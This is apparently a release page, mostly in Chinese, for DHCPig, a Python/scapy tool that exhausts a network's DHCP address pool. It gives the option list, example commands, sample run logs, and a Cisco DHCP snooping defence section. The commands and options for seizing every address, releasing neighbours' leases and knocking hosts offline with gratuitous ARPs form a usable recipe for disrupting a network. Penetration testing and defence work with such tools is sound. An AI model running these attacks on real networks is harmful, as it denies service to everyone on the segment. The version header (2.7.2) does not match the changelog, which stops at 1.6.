返回更新列表
新发布Aug 2, 2026

DHCPig v2.7.2

使用 Python 和 scapy 网络库编写的 DHCP 耗尽脚本

分享

DHCPig

Tags#: DHCP, IPv4, IPv6, exhaustion, pentest, fuzzing, security, scapy

概述

DHCPig 发起高级 DHCP 耗尽攻击。它会消耗局域网上的所有 IP,阻止新用户获取 IP, 释放所有正在使用的 IP,然后为了稳妥起见发送免费 ARP,使所有 Windows 主机离线。

它需要 scapy >=2.1 库和管理员权限才能执行。无需配置,只需将接口作为参数传递。 它已在多种 Linux 发行版和多种 DHCP 服务器(ISC、Windows 2k3/2k8 等)上测试。

执行时,脚本将执行以下操作:

  • 在邻居之前抢占其 IP
    监听其他客户端的 DHCP 请求,如果检测到 offer,则以该 offer 发起 request 进行响应。

  • 请求该区域中所有可用的 IP 地址
    循环从不同的主机和 MAC 地址发送 DHCP 请求。

  • 查找邻居的 MAC 和 IP,并从 DHCP 服务器释放其 IP
    对局域网上的所有邻居执行 ARP,然后向服务器发送 DHCPRelease。

最后,脚本将等待 DHCP 耗尽(即 10 秒内未收到 DHCP OFFER),然后

  • 使所有 Windows 系统离线
    对局域网发送免费 ARP,由于没有额外的 DHCP 地址可用,这些 Windows 系统将保持 离线。Linux 系统即使检测到局域网中另一系统使用相同 IP,也不会放弃 IP。

协议

  • IPv4

    • 流程
      1. ----> DHCP_DISCOVER
      2. <---- DHCP_OFFER
      3. ----> DHCP_REQUEST
      4. <---- DHCP_REPLY (ACK/NACK)
    • DHCPd 探测检测(DHCPd 通常会检查 IP 是否正在使用)
      • 检查 ARP_Snoops
      • 检查 ICMP Snoops
  • IPv6

    • 流程
      1. ----> DHCP6_SOLICIT
      2. <---- DHCP6_ADVERTISE
      3. ----> DHCP6_REQUEST
      4. <---- DHCP6_REPLY
    • DHCPd 探测检测(DHCPd 通常会检查 IP 是否正在使用)
      • 检查 ICMPv6 Snoops

用法

enhanced DHCP exhaustion attack plus.

Usage:
    pig.py [-h -v -6 -1 -s -f -t -a -i -o -l -x -y -z -g -r -n -c ] <interface>
  
Options:
    -h, --help                     <-- you are here :)
    -v, --verbosity                ...  0 ... no         (3)
                                        1 ... minimal
                                       10 ... default
                                       99 ... debug
                                       
    -6, --ipv6                     ... DHCPv6 (off, DHCPv4 by default)
    -1, --v6-rapid-commit          ... enable RapidCommit (2way ip assignment instead of 4way) (off)
    
    -s, --client-src               ... a list of client macs 00:11:22:33:44:55,00:11:22:33:44:56 (Default: <random>)
	-S, --ethernet-mac             ... Use identical MAC addresses on the Ethernet frame and DHCP frame (off)
    -O, --request-options          ... option-codes to request e.g. 21,22,23 or 12,14-19,23 (Default: 0-80)
    
    -f, --fuzz                     ... randomly fuzz packets (off)

    -t, --threads                  ... number of sending threads (1)
    
    -a, --show-arp                 ... detect/print arp who_has (off)
    -i, --show-icmp                ... detect/print icmps requests (off)
    -o, --show-options             ... print lease infos (off)
    -l, --show-lease-confirm       ... detect/print dhcp replies (off)
    
    -g, --neighbors-attack-garp    ... knock off network segment using gratious arps (off)
    -r, --neighbors-attack-release ... release all neighbor ips (off)
    -n, --neighbors-scan-arp       ... arp neighbor scan (off)
    
    -x, --timeout-threads          ... thread spawn timer (0.4)
    -y, --timeout-dos              ... DOS timeout (8) (wait time to mass grat.arp)
    -z, --timeout-dhcprequest      ... dhcp request timeout (2)
    
    -c, --color                    ... enable color output (off)

示例

# requires root privileges to open raw sockets and set the interface in promiscuous mode
sudo ./pig.py eth1

./pig.py eth1
./pig.py --show-options eth1
./pig.py -x1 --show-options eth1

./pig.py -6 eth1
./pig.py -6 --fuzz eth1
./pig.py -6 -c -verbosity=1 eth1
./pig.py -6 -c -verbosity=3 eth1
./pig.py -6 -c -verbosity=100 eth1

./pig.py --neighbors-scan-arp -r -g --show-options eth1

依赖

$ python -m pip install scapy
$ sudo apt-get install libpcap0.8

更新日志

 1.6 : 2024-01 
     * support for python3 & scapy 2.5.0 via charles2910, k4l3b & maniaque
 1.5 : 2017-1 
     * Better support for WiFi.  pig no longer spoofs the ethernet frame src MAC address, just chaddr.  
     * Updated DHCP fingerprint to match existing operating systems.  Some routers will only respond to known devices.
     * Changed the BOOTP flag to broadcast from unicast.  FIOS routers will only respond if broadcast BOOTP option is set.
     * Feedback welcome, pig is now running well on the networks we have tested on.
1.0 : 2015-1
     * more options, fixed v6 supoprt (LL src addr), color output, minimal and debug output
     * more options, double the fun: scapy fuzzing, ipv6 support
     * more options, more fun: show options/show icmp/show arp
     * fixed indents, beautify doc, eyefriendly one-line-logging

运行截图

IPv4

x@<:/src/DHCPig# ./pig.py -c -v3  -l -a -i -o eth2
[ -- ] [INFO] - using interface eth2
[DBG ] Thread 0 - (Sniffer) READY
[DBG ] Thread 1 - (Sender) READY
[--->] DHCP_Discover
[ <- ] ARP_Request 172.20.0.40 from 172.20.15.1
[--->] DHCP_Discover
[ <- ] ARP_Request 172.20.0.41 from 172.20.15.1
[--->] DHCP_Discover
[ <- ] ARP_Request 172.20.0.42 from 172.20.15.1
[<---] DHCP_Offer   00:0c:29:da:53:f9   0.0.0.0 IP: 172.20.0.40 for MAC=[de:ad:26:4b:d3:40]
[DBG ]  * xid=154552584
[DBG ]  * CIaddr='0.0.0.0'
[DBG ]  * YIaddr='172.20.0.40'
[DBG ]  * SIaddr='0.0.0.0'
[DBG ]  * GIaddr='0.0.0.0'
[DBG ]  * CHaddr='\xde\xad&K\xd3@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
[DBG ]  * Sname='ISCdhcpd'
[DBG ]          * message-type  (2,)
[DBG ]          * server_id     ('172.20.15.1',)
[DBG ]          * lease_time    (60000,)
[DBG ]          * subnet_mask   ('255.254.0.0',)
[DBG ]          * router        ('172.20.15.1',)
[DBG ]          * 39    ('\x01\x01\x01\x00\xac\x14\x0f\x01',)
[--->] DHCP_Request 172.20.0.40
[ <- ] ARP_Request 172.20.0.40 from 172.20.15.1
[--->] DHCP_Discover
[ <- ] ARP_Request 172.20.0.41 from 172.20.15.1
^C[ -- ]  -----  ABORT ...  -----
[DBG ] Waiting for Thread 0 to die ...
[DBG ] Waiting for Thread 1 to die ...

IPv6

x@y:/src/DHCPig# ./pig.py -6 -c -v3  -l eth3
[ -- ] [INFO] - using interface eth3
[DBG ] Thread 0 - (Sniffer) READY
[DBG ] Thread 1 - (Sender) READY
[--->] v6_DHCP_Discover [cid:'\x00\x01\x00\x01QR\xf3\xc7\xde\xad#d\xee\xed']
[<---] v6 ADVERTISE FROM ['00:0c:29:da:53:ef'] -> ['de:ad:23:64:ee:ed'] - LEASE: IPv6[fc11:5:5:5::1:7120]
[--->] v6 REQUEST ACK IPv6[fc11:5:5:5::1:7120]
[<---] v6 ADVERTISE FROM ['00:0c:29:da:53:ef'] -> ['de:ad:23:64:ee:ed'] - LEASE: IPv6[fc11:5:5:5::1:7120]
[--->] v6 REQUEST ACK IPv6[fc11:5:5:5::1:7120]
[ <- ] v6 DHCP REPLY FROM ['00:0c:29:da:53:ef'] -> ['de:ad:23:64:ee:ed'] - LEASE: IPv6[fc11:5:5:5::1:7120]
[--->] v6_DHCP_Discover [cid:'\x00\x01\x00\x01QR\xf3\xc8\xde\xad\x00|\xa8P']
[<---] v6 ADVERTISE FROM ['00:0c:29:da:53:ef'] -> ['de:ad:00:7c:a8:50'] - LEASE: IPv6[fc11:5:5:5::1:e447]
[--->] v6 REQUEST ACK IPv6[fc11:5:5:5::1:e447]
[<---] v6 ADVERTISE FROM ['00:0c:29:da:53:ef'] -> ['de:ad:00:7c:a8:50'] - LEASE: IPv6[fc11:5:5:5::1:e447]
[--->] v6 REQUEST ACK IPv6[fc11:5:5:5::1:e447]
[ <- ] v6 DHCP REPLY FROM ['00:0c:29:da:53:ef'] -> ['de:ad:00:7c:a8:50'] - LEASE: IPv6[fc11:5:5:5::1:e447]
[--->] v6_DHCP_Discover [cid:'\x00\x01\x00\x01QR\xf3\xc8\xde\xad%\x07\nQ']
[<---] v6 ADVERTISE FROM ['00:0c:29:da:53:ef'] -> ['de:ad:25:07:0a:51'] - LEASE: IPv6[fc11:5:5:5::1:2644]
[--->] v6 REQUEST ACK IPv6[fc11:5:5:5::1:2644]
[ <- ] v6 DHCP REPLY FROM ['00:0c:29:da:53:ef'] -> ['de:ad:25:07:0a:51'] - LEASE: IPv6[fc11:5:5:5::1:2644]


x@y:/src/DHCPig# ./pig.py -6 -c -v3  -l -a -i -o eth3
[ -- ] [INFO] - using interface eth3
[DBG ] Thread 0 - (Sniffer) READY
[DBG ] Thread 1 - (Sender) READY
[--->] v6_DHCP_Discover [cid:'\x00\x01\x00\x01QR\xf4\x1d\xde\xad\x00`wg']
[ <- ] v6 ICMP REQUEST FROM [00:0c:29:da:53:ef] -> [fe80::20c:29ff:fef8:a1c8]
[<---] v6 ADVERTISE FROM ['00:0c:29:da:53:ef'] -> ['de:ad:00:60:77:67'] - LEASE: IPv6[fc11:5:5:5::1:4e89]
[DBG ]  * <bound method DHCP6_Advertise.show of <DHCP6_Advertise  msgtype=ADVERTISE trid=0xfb5429
[DBG ]  * DHCP6OptIA_NA  optcode=IA_NA optlen=40 iaid=0xf T1=0 T2=0 ianaopts=[<DHCP6OptIAAddress  optcode=IAADDR optlen=24 addr=fc11:5:5:5::1:4e89 preflft=375 validlft=600 |>]
[DBG ]  * DHCP6OptClientId  optcode=CLIENTID optlen=14 duid=<DUID_LLT  type=Link-layer address plus time hwtype=Ethernet (10Mb) timeval=Fri, 27 Mar 2043 13:29:01 +0000 (2311075741) lladdr=de:ad:00:60:77:67 |>
[DBG ]  * DHCP6OptServerId  optcode=SERVERID optlen=14 duid=<DUID_LLT  type=Link-layer address plus time hwtype=Ethernet (10Mb) timeval=Tue, 26 Mar 2013 08:31:13 +0000 (1364286673) lladdr=00:0c:29:da:53:ef |>
[DBG ]  * DHCP6OptDNSServers  optcode=DNS Recursive Name Server Option optlen=32 dnsservers=[ fc11:5:5:5::99, fc11:5:5:5::98 ]
[DBG ]  * DHCP6OptNISPServers  optcode=OPTION_NISP_SERVERS optlen=16 nispservers=[ fc11:5:5:5::100 ]
[DBG ]  * DHCP6OptNISPDomain  optcode=OPTION_NISP_DOMAIN_NAME optlen=11 nispdomain='myNISname' |>>>>>>>>
[--->] v6 REQUEST ACK IPv6[fc11:5:5:5::1:4e89]
[<---] v6 ADVERTISE FROM ['00:0c:29:da:53:ef'] -> ['de:ad:00:60:77:67'] - LEASE: IPv6[fc11:5:5:5::1:4e89]
[DBG ]  * <bound method DHCP6_Advertise.show of <DHCP6_Advertise  msgtype=ADVERTISE trid=0xfb5429
[DBG ]  * DHCP6OptIA_NA  optcode=IA_NA optlen=40 iaid=0xf T1=0 T2=0 ianaopts=[<DHCP6OptIAAddress  optcode=IAADDR optlen=24 addr=fc11:5:5:5::1:4e89 preflft=375 validlft=600 |>]
[DBG ]  * DHCP6OptClientId  optcode=CLIENTID optlen=14 duid=<DUID_LLT  type=Link-layer address plus time hwtype=Ethernet (10Mb) timeval=Fri, 27 Mar 2043 13:29:01 +0000 (2311075741) lladdr=de:ad:00:60:77:67 |>
[DBG ]  * DHCP6OptServerId  optcode=SERVERID optlen=14 duid=<DUID_LLT  type=Link-layer address plus time hwtype=Ethernet (10Mb) timeval=Tue, 26 Mar 2013 08:31:13 +0000 (1364286673) lladdr=00:0c:29:da:53:ef |>
[DBG ]  * DHCP6OptDNSServers  optcode=DNS Recursive Name Server Option optlen=32 dnsservers=[ fc11:5:5:5::99, fc11:5:5:5::98 ]
[DBG ]  * DHCP6OptNISPServers  optcode=OPTION_NISP_SERVERS optlen=16 nispservers=[ fc11:5:5:5::100 ]
[DBG ]  * DHCP6OptNISPDomain  optcode=OPTION_NISP_DOMAIN_NAME optlen=11 nispdomain='myNISname' |>>>>>>>>
[--->] v6 REQUEST ACK IPv6[fc11:5:5:5::1:4e89]
[ <- ] v6 DHCP REPLY FROM ['00:0c:29:da:53:ef'] -> ['de:ad:00:60:77:67'] - LEASE: IPv6[fc11:5:5:5::1:4e89]
^C[ -- ]  -----  ABORT ...  -----
[DBG ] Waiting for Thread 0 to die ...
[DBG ] Waiting for Thread 1 to die ...

最小输出(verbosity=1)

. = DHCP_Discovery
! = DHCP_Offer
; = ICMP/ARP/DHCP_ACKs
D = DEBUG output (show options, etc.)
E = ERROR
N = NOTICE / INFO

x@y:/src/DHCPig# ./pig.py -6 -c -v1 -a -i -o -l eth3
WARNING: No route found for IPv6 destination :: (no default route?)
NDD.!DDDDDDD.!DDDDDDD.;;;;.!DDDDDDD.!DDDDDDD.;;;;.!DDDDDDD.;.!DDDDDDD.!DDDDDDD.;;.!DDDDDDD.;.!DDDDDDD.!DDDDDDD.;;.!DDDDDDD.;.!DDDDDDD.;tcpdump: WARNING: eth3: no IPv4 address assigned
.!DDDDDDD.!DDDDDDD.;;.!DDDDDDD.;.!DDDDDDD.!DDDDDDD.;;.!DDDDDDD.;;.!DDDDDDD.!DDDDDDD.;;^CNDD

x@y:/src/DHCPig# ./pig.py -6 -c -v1  -l eth3
NDD!.!.;;;;.!.!.;;;;.!.;.!.!.;;.!.;.!.!.;;.!.;.!.;.!.!.;;.!.;^CNDD

防御

最常见防御 DHCP 耗尽攻击的方法是使用接入层交换或无线控制器。

在 Cisco 交换中,最简单的选项是启用 DHCP snooping(DHCP 侦听)。Snooping 可防御地址池耗尽、 IP 劫持以及 DHCP 服务器欺骗——DHCPig 会利用所有这些手段。根据检测到的流量,DHCP snooping 会在每个端口上建立从 IP 到 MAC 的映射表。用户接入端口随后被限制为仅允许 给定的 IP。任何来自不受信任端口的 DHCP 服务器消息都会被过滤。

启用以下功能以防御地址池耗尽、IP 劫持和 DHCP 服务器欺骗:

  • 启用 DHCP snooping

    ip dhcp snooping

  • 指定你的 DHCP 所关联的端口。这很可能就是你的上行链路。执行以下操作会将 DHCP 服务器响应限制为仅指定的端口,因此请在实验室环境中测试后再使用。

    int fa0/1 (或正确的接口)

    ip dhcp snooping trust

  • 查看状态

    show ip dhcp snopping

    show ip dhcp snopping binding

  • 附加信息: http://www.cisco.com/en/US/docs/switches/lan/catalyst4500/12.1/12ew/configuration/guide/dhcp.pdf

许可证:

这些脚本均根据 GPL v2 或更高版本发布。有关许可证的完整描述, 请访问 http://www.gnu.org/licenses/gpl.txt

免责声明:

本站提供的所有信息与软件仅用于教育目的。作者 对任何信息滥用行为概不负责。

//Kevin

//tintin

分类